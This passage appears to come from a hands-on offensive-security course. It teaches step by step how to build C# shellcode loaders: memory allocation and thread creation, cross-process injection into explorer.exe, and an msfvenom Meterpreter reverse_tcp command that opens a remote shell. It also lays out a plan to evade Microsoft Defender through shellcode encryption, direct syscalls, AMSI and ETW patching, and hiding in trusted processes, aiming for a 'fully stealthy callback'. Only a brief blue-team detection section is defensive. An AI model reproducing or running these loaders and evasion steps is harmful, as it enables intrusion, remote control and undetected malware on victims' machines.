    Console.WriteLine("[*] CPU can now: READ, EXECUTE. CPU cannot: WRITE.");
    Console.WriteLine();

    Console.WriteLine("[*] The page went through two states:");
    Console.WriteLine("    State 1: READWRITE    -> could write, could not execute");
    Console.WriteLine("    State 2: EXECUTE_READ -> can execute, cannot write");
    Console.WriteLine("[*] NEVER writable and executable at the same time.");

    VirtualFree(mem, 0, 0x8000);
}
}

```

Output:

```

[+] Allocated 1 page at: 0x<address>
[*] Permission: PAGE_READWRITE (0x04)
[*] CPU can: READ, WRITE. CPU cannot: EXECUTE.

```

```
[+] Wrote 0xC3 (RET instruction) to the page.
[*] Data is written. But CPU still cannot execute here.

[+] Changed to PAGE_EXECUTE_READ (0x20).
[*] Old permission was: PAGE_READWRITE
[*] CPU can now: READ, EXECUTE. CPU cannot: WRITE.

[*] The page went through two states:
    State 1: READWRITE -> could write, could not execute
    State 2: EXECUTE_READ -> can execute, cannot write
[*] NEVER writable and executable at the same time.
```

5.7.5 Part 5: Reading Another Process's Information

This program examines another running program without modifying it.

```
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
```

```
class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr OpenProcess(
        uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32.dll")]
    static extern bool CloseHandle(IntPtr hObject);
```

OpenProcess gives you a handle to another program. CloseHandle releases the handle when you are done.

```
static void Main(string[] args)
{
    string target = args.Length > 0 ? args[0] : "explorer";

    Process[] found = Process.GetProcessesByName(target);
    if (found.Length == 0)
    {
        Console.WriteLine("[-] " + target + " is not running.");
        return;
    }
}
```

Search for a running program by name. Default is “explorer” if you do not pass an argument.

```
Process proc = found[0];
Console.WriteLine("[+] Found " + target + ".exe");
Console.WriteLine("[*] PID: " + proc.Id);
Console.WriteLine("[*] Working Set: " +
    (proc.WorkingSet64 / 1024 / 1024) + " MB");
Console.WriteLine("[*] Threads: " + proc.Threads.Count);
```

```
Console.WriteLine();
```

Print the target's PID, how much physical RAM it uses, and how many threads it has.

```
IntPtr handle = OpenProcess(0x0400, false, proc.Id);
if (handle == IntPtr.Zero)
{
    Console.WriteLine("[-] OpenProcess failed.");
    return;
}
Console.WriteLine("[+] Got handle to " + target + ".exe: 0x" +
    handle.ToString("X"));
Console.WriteLine("[*] Opened with PROCESS_QUERY_INFORMATION (0x0400).");
Console.WriteLine("[*] Can read info, but CANNOT modify the process.");
```

Open the process with read-only access (0x0400). This lets you read information but not write to its RAM or create threads inside it.

```
Console.WriteLine();
Console.WriteLine("[*] For injection (Documents 09-10), you would use");
Console.WriteLine("    PROCESS_ALL_ACCESS (0x001FFFFF) instead.");

CloseHandle(handle);
Console.WriteLine("[+] Handle closed.");
}
}
```

Here is the complete program:

```
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr OpenProcess(
        uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32.dll")]
    static extern bool CloseHandle(IntPtr hObject);

    static void Main(string[] args)
    {
        string target = args.Length > 0 ? args[0] : "explorer";

        Process[] found = Process.GetProcessesByName(target);
        if (found.Length == 0)
        {
            Console.WriteLine("[-] " + target + " is not running.");
            return;
        }
    }
}
```

```

        Process proc = found[0];
        Console.WriteLine("[+] Found " + target + ".exe");
        Console.WriteLine("[*] PID: " + proc.Id);
        Console.WriteLine("[*] Working Set: " +
            (proc.WorkingSet64 / 1024 / 1024) + " MB");
        Console.WriteLine("[*] Threads: " + proc.Threads.Count);
        Console.WriteLine();

        IntPtr handle = OpenProcess(0x0400, false, proc.Id);
        if (handle == IntPtr.Zero)
        {
            Console.WriteLine("[-] OpenProcess failed.");
            return;
        }
        Console.WriteLine("[+] Got handle to " + target + ".exe: 0x" +
            handle.ToString("X"));
        Console.WriteLine("[*] Opened with PROCESS_QUERY_INFORMATION (0x0400).");
        Console.WriteLine("[*] Can read info, but CANNOT modify the process.");

        Console.WriteLine();
        Console.WriteLine("[*] For injection (Documents 09-10), you would use");
        Console.WriteLine("    PROCESS_ALL_ACCESS (0x001FFFFF) instead.");

        CloseHandle(handle);
        Console.WriteLine("[+] Handle closed.");
    }
}

```

Run with `dotnet run` OR `dotnet run -- notepad:`

```

[+] Found explorer.exe
[*] PID: 4892
[*] Working Set: 98 MB
[*] Threads: 47

[+] Got handle to explorer.exe: 0xA4
[*] Opened with PROCESS_QUERY_INFORMATION (0x0400).
[*] Can read info, but CANNOT modify the process.

[*] For injection (Documents 09-10), you would use
    PROCESS_ALL_ACCESS (0x001FFFFF) instead.
[+] Handle closed.

```

Explorer has 47 threads. When you inject shellcode in Document 09, you add one more thread. Going from 47 to 48 is not suspicious. A standalone loader with only 2 threads running shellcode on one of them is much easier to spot.

5.7.6 Part 6: The Full Local Execution Pattern with Logging

This is the complete local shellcode execution pattern from Document 03, but with step-by-step logging that shows pages, permissions, and thread counts. It runs a single 0xC3 byte (the RET instruction, which returns immediately).

```
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
```

```
class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAlloc(
        IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool VirtualProtect(
        IntPtr lpAddress, uint dwSize,
        uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateThread(
        IntPtr lpThreadAttributes, uint dwStackSize,
        IntPtr lpStartAddress, IntPtr lpParameter,
        uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll")]
    static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    [DllImport("kernel32.dll")]
    static extern bool VirtualFree(
        IntPtr lpAddress, uint dwSize, uint dwFreeType);
}
```

Five DllImport declarations for the full pattern: allocate, protect, create thread, wait, free.

```
static void Main(string[] args)
{
    byte[] code = new byte[] { 0xC3 };
}
```

One byte of test code. 0xC3 is the RET instruction, which returns immediately.

```
Console.WriteLine("=== Step 1: Allocate pages (READ-WRITE) ===");
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)code.Length, 0x3000, 0x04);
if (mem == IntPtr.Zero)
{
    Console.WriteLine("[-] VirtualAlloc failed.");
    return;
}
Console.WriteLine("[+] Address: 0x" + mem.ToString("X"));
Console.WriteLine("[*] Permission: PAGE_READWRITE (0x04)");
Console.WriteLine("[*] CAN write. CANNOT execute.");
Console.WriteLine();
```

Step 1: get a page with read-write permission.

```

Console.WriteLine("=== Step 2: Copy code into pages ===");
Marshal.Copy(code, 0, mem, code.Length);
Array.Clear(code, 0, code.Length);
Console.WriteLine("[+] Copied " + code.Length + " byte(s).");
Console.WriteLine("[+] Source array zeroed out.");
Console.WriteLine("[*] Code only exists in VirtualAlloc pages now.");
Console.WriteLine();

```

Step 2: copy the byte into the page, then zero out the C# array so the byte only exists in VirtualAlloc pages.

```

Console.WriteLine("=== Step 3: Change permission to EXECUTE-READ ===");
uint oldPerm;
if (!VirtualProtect(mem, (uint)code.Length, 0x20, out oldPerm))
{
    Console.WriteLine("[-] VirtualProtect failed.");
    return;
}
Console.WriteLine("[+] Permission changed: 0x04 -> 0x20");
Console.WriteLine("[*] CAN execute. CANNOT write.");
Console.WriteLine();

```

Step 3: change to execute-read. The page was never writable and executable at the same time.

```

Console.WriteLine("=== Step 4: Create thread ===");
IntPtr thread = CreateThread(
    IntPtr.Zero, 0, mem, IntPtr.Zero, 0, out uint tid);
if (thread == IntPtr.Zero)
{
    Console.WriteLine("[-] CreateThread failed.");
    return;
}
Console.WriteLine("[+] Thread " + tid + " is running.");
Console.WriteLine();

```

Step 4: create a thread at the address. The CPU starts executing the byte at that address.

```

Console.WriteLine("=== Step 5: Wait for thread ===");
WaitForSingleObject(thread, 0xFFFFFFFF);
Console.WriteLine("[+] Thread finished (RET returned immediately).");

VirtualFree(mem, 0, 0x8000);
}
}

```

Step 5: wait for the thread. The RET instruction returns immediately, so this finishes right away.

Here is the complete program:

```

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAlloc(
        IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool VirtualProtect(
        IntPtr lpAddress, uint dwSize,
        uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateThread(
        IntPtr lpThreadAttributes, uint dwStackSize,
        IntPtr lpStartAddress, IntPtr lpParameter,
        uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll")]
    static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    [DllImport("kernel32.dll")]
    static extern bool VirtualFree(
        IntPtr lpAddress, uint dwSize, uint dwFreeType);

    static void Main(string[] args)
    {
        byte[] code = new byte[] { 0xC3 };

        Console.WriteLine("=== Step 1: Allocate pages (READ-WRITE) ===");
        IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)code.Length, 0x3000, 0x04);
        if (mem == IntPtr.Zero)
        {
            Console.WriteLine("[-] VirtualAlloc failed.");
            return;
        }
        Console.WriteLine("[+] Address: 0x" + mem.ToString("X"));
        Console.WriteLine("[*] Permission: PAGE_READWRITE (0x04)");
        Console.WriteLine("[*] CAN write. CANNOT execute.");
        Console.WriteLine();

        Console.WriteLine("=== Step 2: Copy code into pages ===");
        Marshal.Copy(code, 0, mem, code.Length);
        Array.Clear(code, 0, code.Length);
        Console.WriteLine("[+] Copied " + code.Length + " byte(s).");
        Console.WriteLine("[+] Source array zeroed out.");
        Console.WriteLine("[*] Code only exists in VirtualAlloc pages now.");
        Console.WriteLine();

        Console.WriteLine("=== Step 3: Change permission to EXECUTE-READ ===");
        uint oldPerm;
        if (!VirtualProtect(mem, (uint)code.Length, 0x20, out oldPerm))
        {

```

```

        Console.WriteLine("[-] VirtualProtect failed.");
        return;
    }
    Console.WriteLine("[+] Permission changed: 0x04 -> 0x20");
    Console.WriteLine("[*] CAN execute. CANNOT write.");
    Console.WriteLine();

    Console.WriteLine("=== Step 4: Create thread ===");
    IntPtr thread = CreateThread(
        IntPtr.Zero, 0, mem, IntPtr.Zero, 0, out uint tid);
    if (thread == IntPtr.Zero)
    {
        Console.WriteLine("[-] CreateThread failed.");
        return;
    }
    Console.WriteLine("[+] Thread " + tid + " is running.");
    Console.WriteLine();

    Console.WriteLine("=== Step 5: Wait for thread ===");
    WaitForSingleObject(thread, 0xFFFFFFFF);
    Console.WriteLine("[+] Thread finished (RET returned immediately).");

    VirtualFree(mem, 0, 0x8000);
}
}

```

In Document 05, you replace `{ 0xC3 }` with real msfvenom shellcode. The pattern stays identical.

5.7.7 The Cross-Process Functions (Reference)

You do not use these functions until Document 09. But now that you understand virtual memory and pages, here is what each cross-process function does:

VirtualAllocEx - creates pages inside another process:

```

[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(
    IntPtr hProcess, IntPtr lpAddress, uint dwSize,
    uint flAllocationType, uint flProtect);

```

Same as `VirtualAlloc` but the first parameter is a handle to the target process. The return value is a virtual address in the **target's** address space, not yours.

WriteProcessMemory - copies bytes into another process:

```

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(
    IntPtr hProcess, IntPtr lpBaseAddress,
    byte[] lpBuffer, uint nSize,
    out uint lpNumberOfBytesWritten);

```

`hProcess` is the target process handle. `lpBaseAddress` is the virtual address inside explorer.exe's address space (the address that `VirtualAllocEx` gave you). `lpBuffer` is your byte array sitting

in your loader's own address space. Your loader and explorer.exe each have their own private virtual address space, and neither can directly read or write the other's. WriteProcessMemory asks the Windows kernel to do the crossing for you. The kernel has access to every process's page tables simultaneously, so it reads bytes from your loader's array and writes them into explorer.exe's pages in one operation. After this call, the shellcode bytes physically exist in explorer.exe's RAM pages, not yours.

VirtualProtectEx - changes page permissions in another process:

```
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtectEx(
    IntPtr hProcess, IntPtr lpAddress, uint dwSize,
    uint flNewProtect, out uint lpflOldProtect);
```

Same as VirtualProtect but operates on the target process's pages.

CreateRemoteThread - creates a thread in another process:

```
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateRemoteThread(
    IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize,
    IntPtr lpStartAddress, IntPtr lpParameter,
    uint dwCreationFlags, out uint lpThreadId);
```

`lpStartAddress` is where the thread starts running, in the target's address space. The thread lives inside the target process and keeps running even if your loader exits.

The complete injection flow:

1. **OpenProcess** on the target's PID with `PROCESS_ALL_ACCESS`
2. **VirtualAllocEx** to create read-write pages inside the target
3. **WriteProcessMemory** to copy shellcode into those pages
4. **VirtualProtectEx** to change permissions to execute-read
5. **CreateRemoteThread** to start a thread at the shellcode address

After step 5, shellcode runs inside the target. Your loader can exit. The shellcode stays because it is a thread inside the target process.

5.8 Compilation and Execution

For every example:

1. On the dev box (ammulu): `cd C:\Users\ammulu\Desktop\CSharpLab\Lesson`
2. Replace Program.cs with the example code
3. Run: `dotnet run`
4. For programs with arguments: `dotnet run -- explorer`

All examples are safe to run. They allocate and free RAM, read process info, and execute a single RET instruction. No shellcode.

5.9 Confirming Success

After this document, verify:

- ☐ You understand that virtual memory gives every program its own private address space
- ☐ You know that two programs with the same virtual address use different physical RAM locations
- ☐ You understand that Windows divides RAM into pages of 4,096 bytes (4 KB)
- ☐ You know the four page permissions (RW, RX, RWX, NOACCESS) and their hex values
- ☐ You understand why PAGE_EXECUTE_READWRITE (0x40) is suspicious to Defender
- ☐ You understand the two-step allocation: RW first, write data, then change to RX
- ☐ You know why the two-step approach avoids Defender detection
- ☐ You understand working set (physical RAM) vs. virtual memory size
- ☐ You understand VirtualAllocEx, WriteProcessMemory, VirtualProtectEx, CreateRemoteThread
- ☐ You ran the page allocation program and saw the working set change
- ☐ You ran the permission change program and saw the two-step transition

5.10 What Was Gained

You now understand how Windows manages RAM at the page level:

- VirtualAlloc with 0x04 then VirtualProtect with 0x20 = two-step allocation to avoid writable-executable pages
- VirtualAllocEx creates pages inside another process's virtual address space
- WriteProcessMemory copies bytes across virtual address spaces through the kernel
- Defender flags 0x40 (RWX) because legitimate programs almost never need it

The loaders use these concepts in every function call. Understanding what happens at the page level means you can modify loaders, debug failures, and build new ones from scratch.

5.11 Common Threats and Variations

5.11.1 Variation 1: Large Page Allocations

Windows supports “large pages” of 2 MB instead of 4 KB. Some malware uses large pages because some security tools only monitor standard 4 KB page operations. Requires administrator access and the “Lock pages in memory” privilege.

5.11.2 Variation 2: Section Objects for Cross-Process Sharing

Instead of using WriteProcessMemory (which Defender watches), some loaders create a section object. A section is a region of RAM that two processes share simultaneously. When your loader writes shellcode into the section, the target process can read it immediately because they share the same physical pages. No WriteProcessMemory call, so Defender's hook never triggers.

5.11.3 Variation 3: Memory-Mapped Files

NtCreateSection and NtMapViewOfSection can map a file into a process's virtual address space. Some loaders create a temporary file with shellcode, map it into the target, and delete the file. The shellcode appears in the target's address space as if loaded from a DLL, leaving different ETW events than the VirtualAllocEx + WriteProcessMemory approach.

5.12 Detection and Defense (Blue Team Perspective)

Monitor page permission changes. Log every VirtualProtect/VirtualProtectEx call that adds execute permission to previously writable pages. This catches the two-step allocation.

Blue team action: flag VirtualProtect calls where the new permission includes EXECUTE and the old included WRITE.

Detect cross-process memory operations. The combination of OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread in one program is a strong injection signal.

Blue team action: alert when a non-system process performs the full injection sequence against another process.

Track working set anomalies. If explorer.exe suddenly allocates new executable pages not from a DLL load, that is suspicious.

Blue team action: monitor RX/RWX page allocations in trusted processes that do not correspond to module load events.

Watch for page file artifacts. When shellcode pages get paged out to pagefile.sys, the bytes are written to the hard drive. Forensic tools can scan the page file for shellcode signatures.

Blue team action: periodically scan pagefile.sys for known shellcode patterns.

5.13 What Comes Next

Document 05 (lab/materials/05_shellcode_loader.md) is where you build your first real working loader. You will generate shellcode with msfvenom on Kali, transfer it to the dev box, compile the loader on the dev box, transfer the compiled binary and shellcode to the target, and run it there. The loader uses the VirtualAlloc, Marshal.Copy, VirtualProtect, CreateThread pattern you have practiced. You will see Defender on the target catch it, understand why, and learn what needs to change in Document 06 to bypass the detection.

Document 05: Your First Shellcode Loader

6.1 Where We Are

You finished Documents 02 through 04. You can:

- Write C# programs with variables, loops, arrays, XOR encryption, file I/O, and command-line arguments
- Call Windows API functions from C# using DllImport and P/Invoke
- Understand virtual memory, pages (4,096 bytes each), and page permissions (0x04, 0x20, 0x40)
- Use VirtualAlloc, Marshal.Copy, VirtualProtect, and CreateThread
- Understand the two-step allocation (allocate as read-write, write data, change to execute-read)

Your lab has three machines: dev box (ammulu, 192.168.10.150) for compiling (Defender disabled), target (kimjongun, 192.168.10.100) with Defender at full defaults, and Kali (192.168.10.200) for shellcode and listeners.

6.2 Why This Is Next

You have spent four documents learning tools. Now you use them.

This document builds a program that takes shellcode generated by msfvenom on Kali and attempts to run it on the target machine (kimjongun, 192.168.10.100) inside the target's RAM. **Defender will catch this loader.** The raw shellcode bytes match known signatures, and the API pattern (VirtualAlloc + CreateThread) is a known injection sequence. You will NOT get a callback from this loader because Defender blocks it before the shellcode can execute.

That is the whole point. You need to see exactly what Defender catches and why. When Defender blocks this loader, you open Protection History in Windows Security and read what triggered the detection. That teaches you which bytes, which API calls, and which behaviors Defender flagged. Without seeing the failure first, the evasion techniques in Documents 07 through 10 will not make sense.

Shellcode is a piece of code written as raw bytes that the CPU can understand directly. You generate it with msfvenom, a tool on Kali that produces payloads. A payload is the actual code that does something useful after you get access, like opening a remote connection back to your

machine. The shellcode bytes are CPU instructions that tell Windows to connect back to your Kali machine and give you a command prompt.

This is the foundation of everything that follows. Every document after this one improves on this loader to bypass the detection you see here:

- Document 06: XOR-encrypt the shellcode so Defender cannot match signatures on disk
- Document 07: use direct syscalls so Defender's API hooks cannot see the calls
- Document 08: patch AMSI and ETW so Defender loses visibility into your process
- Document 09: inject into a trusted process so your code hides inside explorer.exe or svchost.exe
- Document 10: combine all techniques together, and that is where you get your first fully stealthy callback

6.3 How This Works

6.3.1 What Happens When This Loader Runs

The loader does four things:

1. **Read shellcode from a file.** The shellcode bytes are stored in a .bin file on disk. The loader reads them into a byte array in RAM.
2. **Allocate RAM.** The loader asks Windows for a block of RAM big enough to hold the shellcode. It starts with read-write permission (0x04).
3. **Copy shellcode into that RAM.** The loader copies the shellcode bytes from the C# byte array into the block Windows gave it.
4. **Change permission and execute.** The loader changes the RAM block's permission to execute-read (0x20), then creates a new thread that starts running the shellcode.

The shellcode is a Meterpreter reverse TCP payload. Meterpreter is a tool from the Metasploit framework that gives you full control of a Windows machine. "Reverse TCP" means the Windows machine connects back to your Kali machine. You set up a listener on Kali first, then when the shellcode runs on Windows, it calls back to that listener and gives you a session.

6.3.2 Why Running Code in RAM Matters

When you run a normal program, Windows loads a .exe file from your hard drive. Defender scans that .exe before it runs. If the .exe matches a known malware signature, Defender blocks it.

Shellcode is different. The shellcode bytes are raw CPU instructions that your loader puts directly into RAM. The loader itself is a normal-looking C# program. The shellcode bytes inside the .bin file are what Defender needs to recognize, and Defender can scan that file on disk. But if you encrypt the shellcode (Document 06), the file on disk is just random-looking bytes, and Defender has nothing to match against.

This first loader does NOT encrypt the shellcode. The raw bytes sit in the .bin file, and Defender will recognize them. You build this first to see the baseline.

6.4 What Defender Does

Defender checks this loader at multiple points:

6.4.1 On Disk (Static Scanning)

When you write the .bin file to the Windows machine's hard drive, Defender scans it immediately. Msfvenom shellcode contains byte patterns that Defender's signature database recognizes. If Defender matches the bytes, it quarantines the file before you can run it.

6.4.2 At Compile Time

When you compile the loader, Defender scans the resulting .exe. The compiled binary contains strings like "VirtualAlloc" and "CreateThread" in its import table. This combination of imported functions is a known shellcode injection pattern. However, importing VirtualAlloc and CreateThread alone is not enough to trigger a detection. Many legitimate programs use these functions.

6.4.3 At Runtime (Behavioral Detection)

When the loader runs, Defender's behavioral engine watches what it does:

- Allocating memory with execute permissions
- Copying data into that memory
- Creating a thread at that memory address

This sequence matches known shellcode injection behavior. Defender's behavioral ML model scores this pattern and can flag it even if the static scan did not catch the binary.

6.4.4 AMSI (Antimalware Scan Interface)

If any part of the process involves .NET assembly loading or PowerShell, AMSI sends the content to Defender for scanning. For this basic loader, AMSI is not a primary concern because we are not loading PowerShell scripts. But in later documents where AMSI becomes relevant, you will patch it before doing anything else.

6.5 The Evasion Technique

This loader has **no evasion**. That is the point.

What would normally get flagged:

- Raw msfvenom shellcode bytes on disk match Defender signatures
- The import table shows VirtualAlloc + CreateThread, a known injection pattern
- Allocating memory and executing a thread from it matches behavioral detection rules

What later loaders fix:

Problem	Fix	Document
Shellcode bytes match signatures	XOR encrypt the shellcode	06
Import table shows suspicious functions	Resolve functions at runtime, not through DllImport	07
API calls go through hooked ntdll.dll	Use direct syscalls to skip hooks	07

Problem	Fix	Document
ETW logs everything the process does	Patch EtwEventWrite to stop logging	08 (ETW section)
AMSI scans loaded .NET content	Patch AmsiScanBuffer to return clean	08
Shellcode runs in a standalone process	Inject into a trusted process like explorer.exe	09

6.6 Getting the Loader Onto the Target

The workflow for this loader follows the three-machine setup:

1. **Kali (192.168.10.200):** Generate the raw shellcode with msfvenom, output as a .bin file. Start a Python HTTP server to host it.
2. **Dev box (ammulu, 192.168.10.150):** Download the shellcode from Kali. Compile the loader with `csc`. Host both the compiled loader01.exe and payload.bin on a Python HTTP server.
3. **Target (kimjongun, 192.168.10.100):** Download both files from the dev box. Run the loader.

The loader binary itself (loader01.exe) is a C# program. Defender on the target scans it when it is written to disk. Because this basic loader has suspicious imports (VirtualAlloc + CreateThread), Defender may flag it even before you run it.

The shellcode .bin file is also scanned when it is written to disk on the target. Because this file contains raw msfvenom bytes, Defender will almost certainly quarantine it.

The loader file is `lab/loaders/01_shellcode_loader.cs`.

6.7 Teaching the Code

6.7.1 The Imports

Every C# file starts with `using` lines that load pre-built tools.

```
using System;
using System.Runtime.InteropServices;
```

`System` gives you basic tools like `Console` for printing and `Array` for working with arrays. `System.Runtime.InteropServices` gives you `DllImport` (to call Windows functions) and `Marshal` (to copy bytes into unmanaged memory).

6.7.2 The Namespace and Class

```
namespace ShellcodeLoader
{
```

```
class Program
{
```

A namespace is a label that groups your code. A class is a container for your functions and variables. The names you pick do not affect how the code runs, but they do affect detection. When C# compiles your code into a .exe file, those names get written directly into that file on your hard drive as plain readable text. You can open the compiled .exe in Notepad right now and you will literally see “ShellcodeLoader” sitting there inside all the garbage characters. Defender opens that .exe file, reads the whole thing from start to end, and checks whether any text inside it matches something in its database of known bad strings. A class named “ShellcodeInjector” would match immediately. In later loaders, you will see neutral names like “Program” or “RuntimeLoader” because those names do not appear in Defender’s database.

6.7.3 Declaring Windows API Functions

The loader needs three Windows functions. You declare them with `DllImport` so C# knows how to call them. When the C# compiler sees a `DllImport` line, it writes the function name into a section of the .exe file on your hard drive called the import table. That import table is just text sitting inside the .exe file. Defender opens the .exe, reads the whole file from start to end, and that text is right there in plain readable form. “VirtualAlloc” and “CreateThread” together in an import table match a known shellcode injection pattern in Defender’s database.

```
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(
    IntPtr lpAddress,
    uint dwSize,
    uint flAllocationType,
    uint flProtect
);
```

VirtualAlloc asks Windows to give you a block of RAM. You learned this in Documents 03 and 04. The parameters:

- **lpAddress**: the starting address where you want Windows to put the memory. `IntPtr.Zero` means “I do not care where, you pick an available spot.” Windows knows which addresses are free, so letting it choose is the safest option.
- **dwSize**: how many bytes of RAM you need. If your shellcode is 510 bytes, you ask for 510.
- **flAllocationType**: `MEM_COMMIT | MEM_RESERVE (0x3000)`. `MEM_RESERVE` tells Windows to set aside a range of addresses so nothing else uses them. `MEM_COMMIT` tells Windows to back those addresses with actual physical RAM from the 8 GB chip in your target VM. Combined, Windows does both in one call.
- **flProtect**: the page permission that controls what the CPU can do with this memory. We use `0x04 (PAGE_READWRITE)` first, which means the program can read and write data there but the CPU cannot execute code from it.

It returns an `IntPtr`, which is the memory address where Windows put your block. If it returns `IntPtr.Zero`, the allocation failed.

```
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateThread(
    IntPtr lpThreadAttributes,
    uint dwStackSize,
```

```
    IntPtr lpStartAddress,  
    IntPtr lpParameter,  
    uint dwCreationFlags,  
    IntPtr lpThreadId  
);
```

CreateThread tells Windows to start running code at a specific memory address. You point `lpStartAddress` at the memory where your shellcode sits. Windows creates a new thread (a separate flow of execution within your process) and starts running the bytes at that address as CPU instructions.

```
[DllImport("kernel32.dll", SetLastError = true)]  
static extern uint WaitForSingleObject(  
    IntPtr hHandle,  
    uint dwMilliseconds  
);
```

WaitForSingleObject pauses your program until the shellcode thread finishes. Without this, your program would exit immediately after creating the thread, which would kill the thread and end your reverse shell connection. Passing `0xFFFFFFFF` means “wait forever.”

6.7.4 The Constants

```
const uint MEM_COMMIT = 0x1000;  
const uint MEM_RESERVE = 0x2000;  
const uint PAGE_EXECUTE_READWRITE = 0x40;
```

These are the values you pass to `VirtualAlloc`. `const` means the value never changes throughout the program.

`MEM_RESERVE` (0x2000) tells Windows to set aside a range of virtual addresses for your program. Think of it this way: your target VM (kimjongun) has 8 GB of RAM on its motherboard. That 8 GB is shared between every program running on the machine. When you pass `MEM_RESERVE`, you are telling Windows “I need a block of addresses, mark them as mine so no other part of my program or the system gives them to someone else.” At this point, no physical RAM is actually used yet. Windows just writes down that those addresses belong to you.

`MEM_COMMIT` (0x1000) is the step where Windows actually assigns real physical RAM. Your target VM has that 8 GB RAM chip. When you pass `MEM_COMMIT`, Windows takes a portion of that physical RAM and dedicates it to your program. If you commit 4096 bytes, Windows sets aside 4096 bytes of that 8 GB chip for you. Those bytes are now yours to read from and write to. Other programs cannot touch them.

When you combine both flags with `MEM_COMMIT | MEM_RESERVE` (which gives 0x3000), Windows does both steps at once: it reserves the address range and assigns real RAM in a single call. Every loader in this curriculum uses 0x3000 for this reason.

`PAGE_EXECUTE_READWRITE` (0x40) sets the permissions on the memory pages. It means the CPU can read data from these pages, your program can write data into these pages, and the CPU can execute the bytes in these pages as machine instructions. This last part (execute) is what makes shellcode work. Without execute permission, the CPU refuses to run your shellcode and crashes your program with an access violation.

Note: This basic loader uses 0x40 (all permissions at once), which is the suspicious pattern you learned about in Document 04. Later loaders use the two-step approach (0x04 first, then 0x20) to avoid this detection.

6.7.5 The Main Function: Reading the Shellcode

```
static void Main(string[] args)
{
    if (args.Length < 1)
    {
        Console.WriteLine("Usage: loader01.exe <path_to_shellcode.bin>");
        Console.WriteLine("");
        Console.WriteLine("Generate shellcode on Kali:");
        Console.WriteLine("  msfvenom -p windows/x64/meterpreter/reverse_tcp
↪ LHOST=<IP> LPORT=<PORT> -f raw -o payload.bin");
        return;
    }

    string shellcodePath = args[0];
```

The loader takes the shellcode file path as a command-line argument. This keeps the loader generic. You generate shellcode separately with msfvenom and save it to a .bin file, then pass the file path when you run the loader. If no argument is passed, it prints usage instructions.

```
byte[] shellcode;
try
{
    shellcode = System.IO.File.ReadAllBytes(shellcodePath);
}
catch (Exception ex)
{
    Console.WriteLine("Could not read shellcode file: " + ex.Message);
    return;
}

Console.WriteLine("[*] Shellcode size: " + shellcode.Length + " bytes");
```

`File.ReadAllBytes` reads the entire file into a byte array. Every byte in the file becomes one element in the array. The `try/catch` block handles errors: if the file does not exist or cannot be read, it prints the error message instead of crashing. After reading, it prints the shellcode size so you know how many bytes were loaded.

6.7.6 Step 1: Allocate Memory

```
IntPtr memoryAddress = VirtualAlloc(
    IntPtr.Zero,
    (uint)shellcode.Length,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);
```

This asks Windows for a block of RAM big enough to hold the shellcode. `IntPtr.Zero` means “I do not care where, Windows can pick the address.” `(uint)shellcode.Length` converts the array length to the type `VirtualAlloc` expects. `MEM_COMMIT | MEM_RESERVE` is the bitwise OR of 0x1000

and 0x2000, giving 0x3000, which tells Windows to both reserve the address range and assign physical RAM to it.

PAGE_EXECUTE_READWRITE (0x40) gives the memory all three permissions. This is the lazy approach that Defender flags. You use it here because this is the baseline loader.

```
if (memoryAddress == IntPtr.Zero)
{
    Console.WriteLine("[-] Memory allocation failed.");
    return;
}

Console.WriteLine("[+] Memory allocated at: 0x" +
    ↪ memoryAddress.ToString("X"));
```

If VirtualAlloc returns zero, something went wrong (not enough memory, or the system blocked the call). ToString("X") converts the address to hexadecimal, the standard format for memory addresses.

6.7.7 Step 2: Copy Shellcode Into Memory

```
Marshal.Copy(shellcode, 0, memoryAddress, shellcode.Length);
Console.WriteLine("[+] Shellcode copied to memory.");
```

Marshal.Copy copies bytes from a C# byte array into unmanaged memory (the block VirtualAlloc gave us). The parameters:

- `shellcode`: the source byte array
- `0`: start copying from index 0 (the beginning)
- `memoryAddress`: the destination (where VirtualAlloc put our block)
- `shellcode.Length`: how many bytes to copy (all of them)

After this line, the shellcode bytes exist in the memory block that has execute permission. The CPU can now run them.

6.7.8 Step 3: Execute the Shellcode

```
IntPtr threadHandle = CreateThread(
    IntPtr.Zero,
    0,
    memoryAddress,
    IntPtr.Zero,
    0,
    IntPtr.Zero
);
```

CreateThread creates a new thread that starts executing at `memoryAddress`. Since that address points to our shellcode, the CPU starts running the shellcode instructions. The thread is a separate flow of execution within your process, running independently from the Main function.

```
if (threadHandle == IntPtr.Zero)
{
    Console.WriteLine("[-] Thread creation failed.");
    return;
}

Console.WriteLine("[+] Thread created. Shellcode is running.");
